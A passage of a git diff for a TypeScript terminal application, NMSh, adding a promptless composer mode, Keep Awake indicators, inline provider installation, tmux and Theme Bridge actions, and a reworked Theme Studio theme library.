${SUBTLE}${text.padEnd(12)}${RESET}`; @@ -3872,6 +4671,11 @@ export class TerminalApp { animate ||= treatmentAnimated(draft.presentation); break; } + if (draft.provider === 'none') { + rows.push(`${label('Prompt')}${SUBTLE}None · composer only${RESET}`, `${label('Composer')}${ACCENT}${GLYPHS.prompt}${RESET} ${PRIMARY}git status${RESET}`); + rows.push(` ${SUBTLE}${providerExplanation('prompt', draft.provider)}${RESET}`); + break; + } // An external provider's own prompt, never the Native one standing in for it. rows.push(this.setupExternalPromptRow(draft, width - 12, label(providerLabel(draft.provider)))); rows.push(` ${SUBTLE}${providerExplanation('prompt', draft.provider)}${RESET}`, ` ${SUBTLE}${NATIVE_ONLY_NOTE}${RESET}`); @@ -3951,7 +4755,7 @@ export class TerminalApp { if (animate && !this.screensaverAnimation) { this.screensaverAnimation = presentationClock.subscribe(() => { if (this.setupState) this.render(); }, 150); } else if (!animate && this.screensaverAnimation) { this.screensaverAnimation(); this.screensaverAnimation = undefined; } - return rows.map(row => truncateAnsi(row, columns - 2)); + return [...chromaNote, ...rows].map(row => truncateAnsi(row, columns - 2)); } /** @@ -4249,6 +5053,9 @@ export class TerminalApp { if (tool.executable) statuses[tool.executable] ??= status; } state.context = {...state.context, statuses}; + // Theme Bridge targets present on this system (PATH facts; cached for the session). + this.bridgeFacts ??= await detectTargets(); + state.context = {...state.context, bridgeTargets: (Object.entries(this.bridgeFacts) as Array<[BridgeTargetId, TargetFacts]>).filter(([, facts]) => facts.installed).map(([target]) => target)}; await facts; if (!this.stopped && this.setupState === state) this.render(); } @@ -4433,6 +5240,7 @@ export class TerminalApp { return [ statusSection('Build & Platform', [ {label: 'Version', value: build.version}, + {label: 'Installed', value: installProvenanceLabel()}, {label: 'Build', value: `${build.commit}${build.branch ? ` (${build.branch}${build.dirty ? ', dirty' : ''})` : ''}`, tone: build.commit === 'unknown' ? 'muted' : undefined}, {label: 'Platform', value: `${process.platform} ${process.arch}`}, {label: 'Platform support', value: this.platformInfo.support, tone: this.platformInfo.wsl?.version === 1 ? 'warning' as const : undefined}, @@ -4722,10 +5530,10 @@ export class TerminalApp { /** A representative history header: the live provider's identity over preview-only modules. */ private transcriptPreviewSample(): HistoricalContextSnapshot { const context = themePreviewContext(); - const prompt = this.effectivePromptProvider !== 'nmsh' && this.externalPrompt + const prompt = this.effectivePromptProvider === 'none' ? undefined : this.effectivePromptProvider !== 'nmsh' && this.externalPrompt ? this.currentPromptSnapshot() : nativePromptSnapshot(context, this.promptConfiguration); - return {cwd: context.cwd, project: context.project, branch: context.branch, prompt}; + return {cwd: context.cwd, project: context.project, branch: context.branch, ...(prompt ? {prompt} : {promptless: true as const})}; } private saveTranscriptSettings(): void { @@ -4906,11 +5714,13 @@ export class TerminalApp { private hasVisibleProviderPrompt(): boolean { + if (this.effectivePromptProvider === 'none') return false; if (this.effectivePromptProvider !== 'nmsh') return Boolean(this.externalPrompt?.text.trim()); return hasVisibleContextModule(this.promptConfiguration, this.promptContext(), isOnCommandRelevant); } private currentPromptLine(width: number, time = Date.now()): string { + if (this.effectivePromptProvider === 'none') return ''; if (this.effectivePromptProvider !== 'nmsh' && this.externalPrompt) { return this.externalPromptRow(this.externalPrompt, width, this.promptConfiguration.placement, time); } @@ -5157,8 +5967,14 @@ export class TerminalApp { // Notices never squeeze the composer or transcript out: small screens simply do not show them. const notices = count > 0 && rows - find >= 12 + count ? count : 0; const plan = this.planComposer(columns, rows - notices - find, fullInput, suggestions, panelRows); + // Keep Awake: decided against this geometry; an adjacent row (when needed and the screen has room) sits closest to the composer. + const decision = this.awakeDecision(plan, columns); + const wanted = this.awakeAdjacentRows(decision); + const awakeRows = wanted && rows - notices - find >= 10 + wanted ? wanted : 0; + const base = awakeRows ? this.planComposer(columns, rows - notices - find - awakeRows, fullInput, suggestions, panelRows) : plan; + const awake = decision && (decision.slot !== 'adjacentRow' || awakeRows) ? decision : undefined; // The find bar sits right above the composer, notices above it. - return withNoticeRows(withNoticeRows(plan, find, 'find'), notices); + return withNoticeRows(withNoticeRows(withNoticeRows({...base, ...(awake ? {awake} : {})}, find, 'find'), notices), awakeRows, 'awake'); } /** One compact line per notice (max three, the last may summarize overflow). */ @@ -5222,7 +6038,9 @@ export class TerminalApp { const live = task.status === 'starting' || task.status === 'running' || task.status === 'waiting' || task.status === 'stopping'; const url = task.urls[0]; if (!live) return truncateAnsi(`${task.status === 'failed' ? ERROR : SUCCESS}${task.status === 'failed' ? GLYPHS.failure : GLYPHS.success}${RESET} ${SECONDARY}${task.label} ${task.status === 'failed' ? `failed · exit ${task.exitCode ?? '?'}` : 'stopped'}${RESET}`, columns); - return truncateAnsi(liveLine(task.label, [task.status === 'running' ? undefined : task.status, url].filter(Boolean).join(' · ') || undefined, task.startedAt, now, {still}), columns); + // The dev-server URL is an NMSh-authored link (safe http(s) target only) where the host supports OSC 8. + const shownUrl = url ? authoredLink(url, url, this.host.capabilities.hyperlinks && !this.passthrough) : undefined; + return closeAuthoredLinks(truncateAnsi(liveLine(task.label, [task.status === 'running' ? undefined : task.status, shownUrl].filter(Boolean).join(' · ') || undefined, task.startedAt, now, {still}), columns)); }); } @@ -5313,7 +6131,11 @@ export class TerminalApp { } private statusStripRow(columns: number): string { - return renderStatusStrip(this.promptConfiguration.statusStrip, this.stripStats, columns); + // Active Keep Awake is always part of an enabled strip (no per-item switch); the strip itself is never forced on. + const record = this.awakeRecord; + const display = this.promptConfiguration.keepAwake.display; + return renderStatusStrip(this.promptConfiguration.statusStrip, this.stripStats, columns, undefined, + record ? {full: awakeLabel(record, display, 'full'), short: awakeLabel(record, display, 'short'), glyph: awakeLabel(record, display, 'glyph')} : undefined); } /** One timer while the strip is on and NMSh owns the screen; none otherwise. */ @@ -5877,9 +6699,9 @@ export class TerminalApp { if (this.output.applyAdvisoryFold(record.startId, applyFoldHint(input, hint))) this.render(); } - private openProvidersOverview(): void { + private openProvidersOverview(focus?: SwitchableFamily): void { this.panelOrigin = undefined; - this.providersOverview = createProvidersOverview(); + this.providersOverview = createProvidersOverview(focus); void this.refreshProvidersOverview(false); } @@ -5903,6 +6725,47 @@ export class TerminalApp { understanding: this.understandingSummary(), shell: {current: shellAdapter(this.shellId).label, defaultShell: shellAdapter(this.promptConfiguration.shellBackend).label}}; } + /** + * Inline selection from /providers: the same configuration and the same + * side effects as the family panels, applied at once so the overview is + * immediately factual (the family row shows the new provider as Active). + */ + private selectProviderInline(family: SwitchableFamily, id: string): void { + const next = selectProvider(this.promptConfiguration, family, id); + const state = this.providersOverview; + if (!next || !state) return; + if (!this.applySettingsConfiguration(next)) return; + if (family === 'suggestions') this.applySuggestionProvider(); + if (family === 'history') void this.loadHistory(); + if (family === 'navigation') { this.directoryQueryAbort?.abort(); this.directoryQuery = undefined; this.directoryResults = []; } + if (family === 'prompt') void this.refreshProviderPrompt().then(() => this.render()); + const label = providerFamily(family)!.providers.find(provider => provider.id === id)!.label; + state.message = `${providerFamily(family)!.title} · ${label}`; + } + + private async installProviderInline(family: SwitchableFamily, id: string): Promise { + const state = this.providersOverview; + const descriptor = providerFamily(family)?.providers.find(provider => provider.id === id); + const install = descriptor ? providerInstall(descriptor) : undefined; + if (!state || !descriptor || !install) return; + state.installing = {family, id, line: `Installing ${descriptor.label} · ${install.label}…`}; + this.render(); + const task = new TaskProgress(`Installing ${descriptor.label}`, () => { if (this.providersOverview === state) this.render(); }, Date.now(), descriptor.label); + const outcome = await task.run(install.command, [...install.args]); + if (this.stopped) return; + clearProviderDetection(); + const status = await detectProvider(descriptor); + this.providerStatuses.set(descriptor.id, status); + state.installing = undefined; + if (outcome.status === 'succeeded' && status.state === 'installed') { + recordInstall(descriptor.executable ?? descriptor.id, install); + this.selectProviderInline(family, id); + this.milestoneEffect(); + } else state.message = outcome.status === 'succeeded' ? `${install.label} finished, but ${descriptor.label} was not found on PATH; nothing was selected.` + : `${descriptor.label} was not installed. ${task.state.error ?? ''}`.trim(); + this.render(); + } + /** Each family opens its existing panel: switching, previewed installs and configuration live there. */ private openProviderFamily(row: string): void { this.providersOverview = undefined; @@ -6095,7 +6958,7 @@ export class TerminalApp { this.pickerOpening = true; try { const files = listProjectFiles(root).slice(0, 20_000); - const result = await openPicker(this.promptConfiguration.picker, files.map(path => ({id: path, label: path, value: path})), fallback, this.pickerHandoff); + const result = await openPicker(this.promptConfiguration.picker, files.map(path => ({id: path, label: path, value: path})), fallback, this.pickerHandoff, process.env, await this.fzfThemeArgs(), this.fzfLayout()); if (this.askState !== state || this.stopped) return; if (result?.kind === 'selected') await this.runInAsk(state, {kind: 'openFile', path: resolvePath(root, result.candidate.value)}); else if (result?.kind === 'fallback') fallback(); @@ -6434,6 +7297,24 @@ export class TerminalApp { private async executeAskAction(action: AskAction): Promise { switch (action.kind) { case 'slash': await this.runSlash(action.label, action.slash); return; + case 'tmux': { + // Ask's own Yes (which starts on No) confirmed exactly these typed changes. + let model = loadTmuxModel(); + for (const change of action.changes) { const next = applyTmuxChange(model, change); if (!('error' in next)) model = next; } + saveTmuxModel(model); + const written = writeTmuxManaged(model); + this.output.addFrontendInteraction('/ask', written.ok ? `tmux: ${action.label}. Saved in NMSh's managed tmux file${recordedHook('tmux') ? '; /tmux → R reloads a running server' : '; your tmux.conf does not load it yet: /tmux → Review & apply adds the one include after you review it'}.` : written.error, written.ok ? SUCCESS : ERROR); + return; + } + case 'themeBridge': { + await this.saveBridge(bridge => { + if (action.enabled !== undefined) bridge.enabled = action.enabled; + if (action.policy) bridge.policy = action.policy; + for (const [target, setting] of Object.entries(action.targets ?? {})) bridge.targets[target as BridgeTargetId] = {mode: setting.mode, ...(setting.theme ? {theme: setting.theme} : {})}; + }); + this.output.addFrontendInteraction('/ask', `Theme Bridge · ${action.label}. Tools that need a one-time include or cache build show it in /integrations.`, SUCCESS); + return; + } case 'switchShell': await this.switchShell(action.shell, `/shell ${action.shell}`); return; case 'installShell': { this.openShellPanel(action.shell); @@ -6463,6 +7344,18 @@ export class TerminalApp { } case 'resumeTranscript': await this.restoreTranscriptById(action.id); return; case 'attachSession': this.switchToLiveSession(action.id, 'detached'); return; + case 'toolView': { + const tool = TOOLS.find(item => item.id === action.tool); + if (!tool) return; + this.startTools(); + const panel = this.toolsPanel!; + panel.detail = tool; + panel.statuses[tool.id] = await detectTool(tool); + if (action.view === 'guided') panel.framework = openGuidedInstall(); + else if (action.view === 'previous') panel.framework = openPrevious(); + else if (action.view === 'p10kConfigure' || action.view === 'importAppearance') await this.handleToolsKey({kind: 'text', value: action.view === 'p10kConfigure' ? 'c' : 't'} as Key, panel); + return; + } case 'setting': { if (action.setting === 'shellBackend') { if (isShellId(action.value)) this.updateConfiguration(configuration => { configuration.shellBackend = action.value as ShellId; }); @@ -6672,6 +7565,8 @@ export class TerminalApp { } finally { this.shellSwitching = false; } this.shellId = target; this.shellJobs = 0; + // The old shell's zone ends here; the new shell's first prompt opens the next one. + this.hostSemantics.end(); this.switchedShellStarting = true; // The new shell's first prompt is readiness, not a command completion. this.presetShellReady = true; @@ -6757,7 +7652,8 @@ export class TerminalApp { transcriptRows, contextPlacement: this.promptConfiguration.placement, hasVisibleContext: this.hasVisibleProviderPrompt(), - composerLayout: this.promptConfiguration.composerLayout, + // Prompt None is only the input: framed like the one-line composer (divider, input, divider), never a two-line gap. + composerLayout: this.effectivePromptProvider === 'none' ? 'oneLine' : this.promptConfiguration.composerLayout, composerDividers: this.promptConfiguration.composerDividers, panelRows, }; @@ -6771,6 +7667,7 @@ export class TerminalApp { private render(): void { if (this.stopped || this.passthrough || this.externalPassthrough || this.frontendSuspended) { this.cancelPresentation(); return; } + this.hostSemantics.flush(); if (this.idle) { this.paintIdle(); return; } for (const task of [this.promptPanelState?.task, this.toolsPanel?.task, this.providerPanelState?.task]) task?.setReducedMotion(!this.decorativeMotionAllowed()); if (!this.decorativeMotionAllowed()) this.effects.cancel(); @@ -6872,13 +7769,18 @@ export class TerminalApp { if (this.editor.ghost && !this.editor.hasPasteAtoms && this.editor.cursorIndex === graphemes(this.editor.text).length && row === input.rows[input.rows.length - 1]) { suffix = `${SECONDARY}${this.editor.ghost.substring(this.editor.text.length)}${RESET}`; } - const line = truncateAnsi(`${prefix}${textStyled}${suffix}`, columns); - return row.charStart === 0 && row === input.allRows[0] ? `${line}${this.oneLineRightContext(line, columns)}` : line; + const editorColumns = this.inputColumns(columns); + const line = truncateAnsi(`${prefix}${textStyled}${suffix}`, editorColumns); + if (row.charStart !== 0 || row !== input.allRows[0]) return line; + // Input row placement: the reserved trailing cells, outside the editor's own width. + const accessory = plan.awake?.slot === 'inputTrailing' && editorColumns < columns ? this.awakeViewNow()?.compact : undefined; + if (accessory) return `${line}${RESET}${' '.repeat(Math.max(0, columns - displayWidth(line) - accessory.width))}${accessory.ansi}`; + return `${line}${this.oneLineRightContext(line, columns)}`; }); // The plan decides where each region lives; this only decides what paints into it. - // Composer top and bottom divider lines; the prompt row's divider fill uses the same source. - const separator = `${paintDivider(repeatToWidth(GLYPHS.separator, columns), this.promptConfiguration.presentation, Date.now())}${RESET}`; + // Composer top and bottom edges share one renderer (composerEdgeRow); the prompt row's divider fill uses the same rule source. + const now = Date.now(); const regionRows = (region: Region): string[] => { switch (region.kind) { // Setup Cat owns a clean screen: the ordinary transcript/welcome is not drawn behind it (presentation only; nothing is cleared). @@ -6889,7 +7791,7 @@ export class TerminalApp { case 'panel': return plan.panelPosition === 'top' && panelRows && /^[─-]+$/u.test(stripAnsi(panelRows[0] ?? '')) ? [...panelRows.slice(1), panelRows[0]!] : panelRows ?? []; case 'inspector': return this.inspectorRows(columns); - case 'suggestions': return [...suggestionView.items.map((suggestion, visibleIndex) => { + case 'suggestions': return this.orientPicker([...suggestionView.items.map((suggestion, visibleIndex) => { const selected = suggestionView.start + visibleIndex === effectiveSelection; if ('correction' in suggestion) return renderCorrection(suggestion, columns); if ('source' in suggestion && 'replacement' in suggestion) { @@ -6899,17 +7801,18 @@ export class TerminalApp { `${selected ? ACCENT : SECONDARY}${selected ? '›' : ' '} ${suggestion.name.padEnd(10)}${RESET}${SECONDARY} ${suggestion.description}${RESET}`, columns, ); - }), ...(menuOverflow ? [renderCompletionMore(hiddenBelow, suggestionView.start, columns)] : [])]; + }), ...(menuOverflow ? [renderCompletionMore(hiddenBelow, suggestionView.start, columns)] : [])]); // The spacer sits between the newest output and the activity line in both positions. case 'activity': { if (!this.running) return []; const activity = truncateAnsi(this.currentActivity(), columns); return plan.composerPosition === 'top' ? ['', activity] : [activity, '']; } - case 'composerBorder': return [separator]; + case 'composerBorder': return [this.composerEdgeRow('composerBorder', plan, columns, now)]; case 'prompt': return [promptLine]; case 'input': return inputRows; - case 'separator': return [separator]; + case 'separator': return [this.composerEdgeRow('separator', plan, columns, now)]; + case 'awake': return this.awakeRows(plan, columns); case 'status': return [this.statusStripRow(columns)]; case 'notices': return this.noticeRows(columns); case 'find': return this.searchChrome(columns); @@ -7024,7 +7927,7 @@ export class TerminalApp { const input = regions('input')[0]; if (!input) continue; const prefix = this.inputFirstLinePrefix(columns); - const at = (index: number) => layoutInput(this.editor.displayText, index, columns, Number.POSITIVE_INFINITY, prefix); + const at = (index: number) => layoutInput(this.editor.displayText, index, this.inputColumns(columns), Number.POSITIVE_INFINITY, prefix); const from = at(transition.from); const to = at(transition.to); const caret = this.layoutEditorInput(columns, Math.max(1, input.height)); @@ -7034,7 +7937,7 @@ export class TerminalApp { const input = regions('input')[0]; if (!input) continue; const caret = this.layoutEditorInput(columns, Math.max(1, input.height)); - add(input.top + transition.row + (caret.caretRow - layoutInput(this.editor.displayText, this.editor.displayCursorIndex, columns, Number.POSITIVE_INFINITY, this.inputFirstLinePrefix(columns)).caretRow), + add(input.top + transition.row + (caret.caretRow - layoutInput(this.editor.displayText, this.editor.displayCursorIndex, this.inputColumns(columns), Number.POSITIVE_INFINITY, this.inputFirstLinePrefix(columns)).caretRow), transitionPaint.travel(transition.from, transition.to, t, transition.look)); } else if (transition.kind === 'seal') { const transcript = plan.regions.find(region => region.kind === 'transcript'); @@ -7057,6 +7960,13 @@ export class TerminalApp { } } } + // Transition light passes over the rule but not over a Keep Awake accessory: its text stays semantically stable. + for (const region of regions('separator', 'composerBorder')) { + const accessory = this.edgeAccessory(region.kind as 'separator' | 'composerBorder', plan, now); + const span = accessory && edgeAccessoryColumns(columns, accessory.width); + const cells = span && paints.get(region.top); + if (cells) for (let column = span.start - 1; column <= span.end; column += 1) cells.delete(column); + } if (paints.size) for (const [row, cells] of paints) rows[row] = overlayRow(rows[row] ?? '', cells, columns); // A clock only while a transition is live (~30 fps for their short lifetime); none otherwise. const busy = this.transitions.busy; @@ -7076,6 +7986,7 @@ export class TerminalApp { this.idle = undefined; this.screensaverAnimation?.(); this.screensaverAnimation = undefined; this.stripTimer?.(); this.stripTimer = undefined; + this.awakeTimer?.(); this.awakeTimer = undefined; this.noticeTimer?.(); this.noticeTimer = undefined; this.panelAnimation?.(); this.panelAnimation = undefined; this.presentationSubscription?.(); this.presentationSubscription = undefined; @@ -7100,8 +8011,9 @@ export class TerminalApp { for (let index = 0; index < region.height; index++) rows[region.top + index] = content[index] ?? ''; } // Live composer divider lines move with Chroma only when Divider lines follow Chroma. + // The composed edge (rule + any Keep Awake accessory) is repainted, never a bare rule over it. if ((region.kind === 'separator' || region.kind === 'composerBorder') && dividerAnimated(settings)) { - rows[region.top] = paintDivider(repeatToWidth(GLYPHS.separator, frame.columns ?? 80), settings, now) + RESET; + rows[region.top] = this.composerEdgeRow(region.kind, plan, frame.columns ?? 80, now); } // The prompt row is re-rendered from the same semantic modules; only Chroma colors move (its divider fill too). if (region.kind === 'prompt' && region.height > 0 && (this.promptChromaAnimated() || dividerAnimated(settings)) && this.decorativeMotionAllowed()) { @@ -7144,6 +8056,7 @@ export class TerminalApp { private syncPresentationClock(): void { if (!this.presentationStarted || this.stopped || this.idle) return; this.syncStatusStrip(); + this.syncAwake(); this.syncNotices(); this.syncAgents(); const settings = this.promptConfiguration.presentation; @@ -7185,6 +8098,8 @@ export class TerminalApp { } private inputFirstLinePrefix(columns: number): string | undefined { + // Prompt None: no context at all; the input marker (the configured prompt symbol) stays. + if (this.effectivePromptProvider === 'none') return undefined; if (this.promptConfiguration.composerLayout !== 'oneLine') return undefined; if (this.effectivePromptProvider !== 'nmsh' && this.externalPrompt) { const maxWidth = Math.max(0, columns - 1); @@ -7211,7 +8126,7 @@ export class TerminalApp { return layoutInput( this.editor.displayText, this.editor.displayCursorIndex, - columns, + this.inputColumns(columns), maxVisibleRows, this.inputFirstLinePrefix(columns), ); diff --git a/src/app/screenPlan.ts b/src/app/screenPlan.ts index 7bd17471..dfa316d8 100644 --- a/src/app/screenPlan.ts +++ b/src/app/screenPlan.ts @@ -32,7 +32,9 @@ export type RegionKind = /** Cross-session notices: frontend chrome immediately above the composer, never transcript. */ | 'notices' /** The transcript find bar (query, match count, options); frontend chrome above the composer. */ - | 'find'; + | 'find' + /** Keep Awake's adjacent row (its own row, or the muted idle reminder): frontend chrome right next to the composer, never transcript. */ + | 'awake'; export interface Region { kind: RegionKind; @@ -89,6 +91,22 @@ export interface ScreenPlan { panelActive: boolean; /** Where the active panel is anchored (meaningful while panelActive). */ panelPosition: 'bottom' | 'top'; + /** Where this frame's Keep Awake accessory lives, when one is active (decided with the plan so every consumer agrees). */ + awake?: {slot: 'topEdge' | 'bottomEdge' | 'adjacentRow' | 'inputTrailing'; expandedOnEdge: boolean}; +} + +/** + * Whether each composer edge can host auxiliary text. A plain composer border + * or separator is available; a header prompt row (the prompt drawn into the + * top divider) occupies the top edge; no rule at all (dividers Off, a tiny + * screen) is unavailable. Width is checked by the caller. + */ +export function composerEdgeStates(plan: ScreenPlan, contextPlacement: ContextPlacement): {topEdge: 'available' | 'occupied' | 'unavailable'; bottomEdge: 'available' | 'unavailable'} { + const has = (kind: RegionKind) => plan.regions.some(region => region.kind === kind && region.height > 0); + return { + topEdge: has('composerBorder') ? 'available' : has('prompt') && contextPlacement === 'header' ? 'occupied' : 'unavailable', + bottomEdge: has('separator') ? 'available' : 'unavailable', + }; } export interface RegionHit { @@ -225,7 +243,7 @@ const COMPOSER_KINDS: ReadonlySet = new Set(['composerBorder', 'prom * moves, so the transcript keeps its geometry. Without a composer (a panel owns * the screen) the plan is returned unchanged. */ -export function withNoticeRows(plan: ScreenPlan, count: number, kind: 'notices' | 'find' = 'notices'): ScreenPlan { +export function withNoticeRows(plan: ScreenPlan, count: number, kind: 'notices' | 'find' | 'awake' = 'notices'): ScreenPlan { const index = plan.regions.findIndex(region => COMPOSER_KINDS.has(region.kind)); if (count <= 0 || index === -1 || plan.panelActive) return plan; const at = plan.regions[index]!.top; diff --git a/src/appearance/AppearanceHub.ts b/src/appearance/AppearanceHub.ts index dd5a238e..be881e91 100644 --- a/src/appearance/AppearanceHub.ts +++ b/src/appearance/AppearanceHub.ts @@ -9,6 +9,9 @@ import {BLUR_MODES, handleAppearanceKey, type AppearanceState} from './Appearanc import {cursorLabel} from '../cursor/CursorPanel.js'; import {renderMotionPreview, type MotionPreview} from '../motion/MotionPreview.js'; import type {MotionGate} from '../motion/transitions.js'; +import {librarySummary} from './themeLibrary.js'; +import {providerLabel} from '../prompt/PromptPanel.js'; +import {BRIDGE_TARGETS, BRIDGE_TARGET_LABELS, effectiveMode} from '../themeBridge/model.js'; /** * /appearance: the visual hub. NMSh rows summarize and open the canonical @@ -17,7 +20,7 @@ import type {MotionGate} from '../motion/transitions.js'; * opacity/blur editing where the host supports it, and say who controls them * where it does not, so the hub is useful in every terminal. */ -export type HubDestination = 'prompt' | 'cursor' | 'chrome' | 'chroma'; +export type HubDestination = 'theme' | 'prompt' | 'cursor' | 'chrome' | 'chroma' | 'themeBridge'; export interface AppearanceHubState { view: 'hub' | 'motion' | 'motionAdvanced'; @@ -34,8 +37,10 @@ export interface AppearanceHubState { export type HubAction = {kind: 'close'} | {kind: 'open'; destination: HubDestination} | {kind: 'motion'; motion: MotionSettings} | {kind: 'saveHost'}; +/** Compact launcher: each row opens its canonical editor (/theme, /prompt, /cursor, UI chrome, /chroma, Motion, /theme-bridge). */ const NMSH_ROWS: Array<{id: HubDestination | 'motion'; label: string}> = [ - {id: 'prompt', label: 'Prompt & theme'}, {id: 'cursor', label: 'Cursor & effects'}, {id: 'chrome', label: 'UI chrome'}, {id: 'chroma', label: 'Chroma'}, {id: 'motion', label: 'Motion'}, + {id: 'theme', label: 'Theme Studio'}, {id: 'prompt', label: 'Prompt'}, {id: 'cursor', label: 'Cursor & effects'}, {id: 'chrome', label: 'UI chrome'}, + {id: 'chroma', label: 'Chroma'}, {id: 'motion', label: 'Motion'}, {id: 'themeBridge', label: 'Theme Bridge'}, ]; export function createAppearanceHub(hostName: string, host?: AppearanceState, hostGuidance?: string): AppearanceHubState { @@ -56,7 +61,7 @@ export function appearanceHubKey(state: AppearanceHubState, key: Key, configurat const count = items.length + (advanced ? 0 : 1); if (key.kind === 'escape' || key.kind === 'interrupt') { if (advanced) { state.view = 'motion'; state.selected = MOTION_ITEMS.length; state.previewStart = now; return undefined; } - state.view = 'hub'; state.selected = NMSH_ROWS.length - 1; return undefined; + state.view = 'hub'; state.selected = NMSH_ROWS.findIndex(row => row.id === 'motion'); return undefined; } if (key.kind === 'up' || key.kind === 'down') { state.selected = (state.selected + (key.kind === 'up' ? -1 : 1) + count) % count; state.previewStart = now; return undefined; } if (key.kind === 'text' && key.value.toLowerCase() === 'r') { state.previewStart = now; return undefined; } @@ -137,7 +142,10 @@ export function renderAppearanceHub(state: AppearanceHubState, configuration: Pr const motion = configuration.motion; const anyMotion = MOTION_ROWS.some(row => motion[row.key] !== 'off'); const summaries: Record = { - prompt: `${themeLabel} · ${configuration.nmsh.textColors === 'neutral' ? 'Neutral text' : 'Theme text'}`, + theme: [themeLabel, librarySummary(configuration.themes)].filter(Boolean).join(' · '), + prompt: configuration.provider === 'none' ? 'None · composer only' : `${providerLabel(configuration.provider)} · ${configuration.nmsh.textColors === 'neutral' ? 'Neutral text' : 'Theme text'}`, + themeBridge: (() => { const active = BRIDGE_TARGETS.filter(target => effectiveMode(configuration.themeBridge, target) !== 'independent'); + return active.length ? active.map(target => BRIDGE_TARGET_LABELS[target]).join(', ') : 'Off · every tool Independent'; })(), cursor: `${cursorLabel(cursor.shape)} · ${cursor.motion === 'off' ? 'no motion' : cursorLabel(cursor.motion)}${cursor.effect !== 'none' ? ` · ${cursorLabel(cursor.effect)}` : ''} · ${cursorBackend}`, chrome: configuration.uiChrome.source === 'theme' ? 'Follow theme' : 'Custom', chroma: configuration.presentation.preset === 'off' ? 'Off' : `${configuration.presentation.preset} · ${configuration.presentation.motion}`, diff --git a/src/appearance/ThemeStudio.ts b/src/appearance/ThemeStudio.ts index 8b023e2b..bb8d6118 100644 --- a/src/appearance/ThemeStudio.ts +++ b/src/appearance/ThemeStudio.ts @@ -1,6 +1,6 @@ import {mkdirSync, readFileSync, renameSync, statSync, writeFileSync} from 'node:fs'; import {homedir} from 'node:os'; -import {isAbsolute, join, resolve} from 'node:path'; +import {basename, isAbsolute, join, resolve} from 'node:path'; import type {Key} from '../terminal/keys.js'; import type {ColorLevel} from '../presentation/capabilities.js'; import {colorEscape} from '../chroma/escape.js'; @@ -9,55 +9,64 @@ import {THEME_PALETTE_IDS, type NativePaletteId} from '../prompt/configuration.j import {NATIVE_PROMPT_THEMES} from '../prompt/prompt.js'; import {nmshConfigDirectory} from '../configuration/paths.js'; import {editText} from '../ui/formControls.js'; -import {framePanel} from '../ui/PanelShell.js'; +import {framePanel, renderTabStrip} from '../ui/PanelShell.js'; import {renderControls} from '../ui/controls.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; import {GLYPHS} from '../ui/glyphs.js'; import {colorPickerKey, createColorPicker, renderColorPicker, type ColorPickerState} from '../ui/ColorPicker.js'; -import {padCells, truncateAnsi} from '../util/text.js'; +import {padCells, truncateAnsi, truncateText} from '../util/text.js'; import { - exportTheme, importTheme, PROMPT_THEME_ROLES, ROLE_LABELS, themeSlug, UI_THEME_ROLES, type CustomTheme, type PromptThemeRole, - type ThemeImport, type UiThemeRole, + exportTheme, PROMPT_THEME_ROLES, ROLE_LABELS, themeSlug, UI_THEME_ROLES, type CustomTheme, type PromptThemeRole, type UiThemeRole, } from './customTheme.js'; import {cloneFromPalette} from './themeSelection.js'; import {defaultUiColors} from './uiTheme.js'; import {hexColor} from '../chroma/color.js'; +import {categoryOf, findTheme, IMPORTER_VERSION, provenanceLabel, type ThemeAsset, type ThemeOrigin} from './themeLibrary.js'; +import {assetRef, builtinRef, builtinTheme, type ThemeRef} from './themeRefs.js'; +import {IMPORT_FORMAT_CHOICES, IMPORT_SIZE_LIMIT, importFormatLabel, importThemeSource, type ImportOutcome, type ImportPreview} from './themeImporters.js'; +import {BRIDGE_TARGET_LABELS, type BridgeTargetId} from '../themeBridge/model.js'; +import type {CatppuccinAccent} from './themeFamilies.js'; /** - * Theme Studio: the custom Native theme editor behind /theme. It edits a - * draft; Save applies it as the Custom theme through the normal configuration - * path, Esc discards. Import validates and previews before anything is used; - * Export writes NMSh Theme JSON. Imported data is never executed. + * Theme Studio (/theme): create, edit, import, manage and select NMSh Native + * theme assets. Built-in themes are immutable; Imported and Custom themes + * are the same Native assets edited by the same editor and rendered by the + * same renderer (imported is provenance only). The studio never writes the + * configuration itself: it returns actions that TerminalApp applies through + * the library actions and the normal configuration path. Import parses and + * previews first; cancel stores nothing. */ -type StudioRow = +// ---- Color editor ----------------------------------------------------------- + +type EditorRow = | {kind: 'name'} | {kind: 'basedOn'} | {kind: 'dark'} | {kind: 'role'; group: 'prompt' | 'ui'; role: PromptThemeRole | UiThemeRole} - | {kind: 'import'} - | {kind: 'export'} | {kind: 'reset'} | {kind: 'save'}; -export const STUDIO_ROWS: readonly StudioRow[] = [ +export const STUDIO_ROWS: readonly EditorRow[] = [ {kind: 'name'}, {kind: 'basedOn'}, {kind: 'dark'}, ...PROMPT_THEME_ROLES.map(role => ({kind: 'role' as const, group: 'prompt' as const, role})), ...UI_THEME_ROLES.map(role => ({kind: 'role' as const, group: 'ui' as const, role})), - {kind: 'import'}, {kind: 'export'}, {kind: 'reset'}, {kind: 'save'}, + {kind: 'reset'}, {kind: 'save'}, ]; -export interface ThemeStudioState { +export interface ThemeEditorState { draft: CustomTheme; - /** The custom theme in effect when the studio opened, if any. */ + /** The asset being edited; undefined creates a new Custom theme on save. */ + assetId?: string; + /** The asset's saved theme, if any. */ saved?: CustomTheme; + /** Provenance line for imported assets (display only). */ + provenance?: string; selected: number; /** The clone source shown on the Based on row; Enter clones it. */ base: NativePaletteId; - picker?: {row: StudioRow & {kind: 'role'}; state: ColorPickerState}; + picker?: {row: EditorRow & {kind: 'role'}; state: ColorPickerState}; editingName?: string; - importPath?: string; - importPreview?: ThemeImport; message?: string; /** A pending Reset to base that would discard unsaved draft edits. */ confirmReset?: boolean; @@ -65,13 +74,18 @@ export interface ThemeStudioState { export const STUDIO_MIN_SIZE = {columns: 56, rows: 18} as const; -export function createThemeStudio(current: CustomTheme | undefined, palette: NativePaletteId): ThemeStudioState { +/** An editor over a theme; `current` undefined starts a new Custom theme cloned from `palette`. */ +export function createThemeEditor(current: CustomTheme | undefined, palette: NativePaletteId, asset?: ThemeAsset): ThemeEditorState { const draft = current ? structuredClone(current) : cloneFromPalette(palette); - // An existing custom theme resets to the theme it was based on, found by its recorded name. + // An existing theme resets to the theme it was based on, found by its recorded name. const recorded = current?.basedOn ? THEME_PALETTE_IDS.find(id => id !== 'custom' && NATIVE_PROMPT_THEMES[id].label === current.basedOn) : undefined; - return {draft, ...(current ? {saved: structuredClone(current)} : {}), selected: 0, base: recorded ?? (palette === 